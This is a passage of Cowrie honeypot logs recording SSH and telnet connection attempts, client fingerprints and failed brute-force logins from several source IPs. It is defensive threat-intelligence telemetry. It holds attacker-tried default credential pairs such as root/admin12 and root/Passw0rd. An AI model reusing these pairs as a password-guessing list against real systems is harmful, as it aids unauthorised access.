c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:10.423140Z","src_ip":"43.153.7.148","session":"b43ec45ef96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:10.728047Z","src_ip":"43.153.7.148","session":"b43ec45ef96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:11.799245Z","src_ip":"43.153.7.148","session":"b43ec45ef96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.50677466392517,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:15.215153Z","src_ip":"192.119.13.58","session":"f54e55ce0ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.942832946777344,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:18.604722Z","src_ip":"192.119.13.58","session":"408c8ba5f2fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.662776470184326,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:18.730640Z","src_ip":"192.119.13.58","session":"e5021b81f50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":54707,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ae8938a73e5","protocol":"ssh","message":"New connection: 103.24.63.85:54707 (159.203.135.109:22) [session: 4ae8938a73e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:21.642174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:21.647719Z","src_ip":"103.24.63.85","session":"4ae8938a73e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:21.994935Z","src_ip":"103.24.63.85","session":"4ae8938a73e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35166,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc5f08aa06b","protocol":"telnet","message":"New connection: 192.119.13.58:35166 (10.17.0.5:23) [session: 0bc5f08aa06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:22.526135Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:22.823540Z","src_ip":"103.24.63.85","session":"4ae8938a73e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":35904,"dst_ip":"159.203.135.109","dst_port":22,"session":"9856e8242108","protocol":"ssh","message":"New connection: 14.224.227.189:35904 (159.203.135.109:22) [session: 9856e8242108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:23.142342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:23.147422Z","src_ip":"14.224.227.189","session":"9856e8242108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:23.391240Z","src_ip":"14.224.227.189","session":"9856e8242108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:24.018241Z","src_ip":"103.24.63.85","session":"4ae8938a73e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123!@#","message":"login attempt [root/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:24.383932Z","src_ip":"14.224.227.189","session":"9856e8242108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:25.635826Z","src_ip":"14.224.227.189","session":"9856e8242108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55796,"dst_ip":"10.17.0.5","dst_port":23,"session":"d67e4ebc455c","protocol":"telnet","message":"New connection: 192.119.13.58:55796 (10.17.0.5:23) [session: d67e4ebc455c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:27.242400Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35508,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2c8f04d2be","protocol":"telnet","message":"New connection: 192.119.13.58:35508 (10.17.0.5:23) [session: bd2c8f04d2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:29.082163Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c920a8c375","protocol":"telnet","message":"New connection: 192.119.13.58:47614 (10.17.0.5:23) [session: c8c920a8c375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:31.493405Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53918,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b430db310e","protocol":"telnet","message":"New connection: 192.119.13.58:53918 (10.17.0.5:23) [session: 78b430db310e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:32.993390Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8702fa98d81e","protocol":"telnet","message":"New connection: 192.119.13.58:37124 (10.17.0.5:23) [session: 8702fa98d81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:36.149170Z"}
{"eventid":"cowrie.session.closed","duration":35.68716382980347,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:36.592216Z","src_ip":"192.119.13.58","session":"18918d0e3010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e4053419aa","protocol":"ssh","message":"New connection: 147.45.199.80:54672 (10.17.0.5:22) [session: 22e4053419aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:36.633112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:36.636856Z","src_ip":"147.45.199.80","session":"22e4053419aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:36.735131Z","src_ip":"147.45.199.80","session":"22e4053419aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samurai","message":"login attempt [root/samurai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:37.021415Z","src_ip":"147.45.199.80","session":"22e4053419aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":60750,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab028316286c","protocol":"ssh","message":"New connection: 103.24.63.85:60750 (159.203.135.109:22) [session: ab028316286c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:37.828051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:37.833824Z","src_ip":"103.24.63.85","session":"ab028316286c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:38.026274Z","src_ip":"103.24.63.85","session":"ab028316286c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:38.177088Z","src_ip":"147.45.199.80","session":"22e4053419aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:38.605853Z","src_ip":"103.24.63.85","session":"ab028316286c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:39.800297Z","src_ip":"103.24.63.85","session":"ab028316286c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":43644,"dst_ip":"159.203.135.109","dst_port":23,"session":"38d4f8d4d028","protocol":"telnet","message":"New connection: 186.195.16.41:43644 (159.203.135.109:23) [session: 38d4f8d4d028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:40.696802Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53948,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8ab3241665","protocol":"telnet","message":"New connection: 192.119.13.58:53948 (10.17.0.5:23) [session: fe8ab3241665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:46.485090Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":33835,"dst_ip":"159.203.135.109","dst_port":22,"session":"245a838b531d","protocol":"ssh","message":"New connection: 103.24.63.85:33835 (159.203.135.109:22) [session: 245a838b531d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:52.927519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:52.935643Z","src_ip":"103.24.63.85","session":"245a838b531d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:53.129072Z","src_ip":"103.24.63.85","session":"245a838b531d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":34354,"dst_ip":"159.203.135.109","dst_port":22,"session":"e638adb635f6","protocol":"ssh","message":"New connection: 43.153.7.148:34354 (159.203.135.109:22) [session: e638adb635f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:53.649624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:53.654260Z","src_ip":"43.153.7.148","session":"e638adb635f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:53.725201Z","src_ip":"43.153.7.148","session":"e638adb635f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:53.792891Z","src_ip":"103.24.63.85","session":"245a838b531d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:54.035083Z","src_ip":"43.153.7.148","session":"e638adb635f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:55.113700Z","src_ip":"43.153.7.148","session":"e638adb635f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:55.229908Z","src_ip":"103.24.63.85","session":"245a838b531d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb16f84c570","protocol":"telnet","message":"New connection: 192.119.13.58:43696 (10.17.0.5:23) [session: 9cb16f84c570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:57.313034Z"}
{"eventid":"cowrie.session.closed","duration":31.385565519332886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:02.878857Z","src_ip":"192.119.13.58","session":"c8c920a8c375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.26801681518555,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:04.794051Z","src_ip":"192.119.13.58","session":"0bc5f08aa06b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.614651679992676,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:08.856846Z","src_ip":"192.119.13.58","session":"d67e4ebc455c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":41031,"dst_ip":"159.203.135.109","dst_port":22,"session":"d252317d86a2","protocol":"ssh","message":"New connection: 103.24.63.85:41031 (159.203.135.109:22) [session: d252317d86a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:10.232082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:10.249737Z","src_ip":"103.24.63.85","session":"d252317d86a2","protocol":"ssh"}
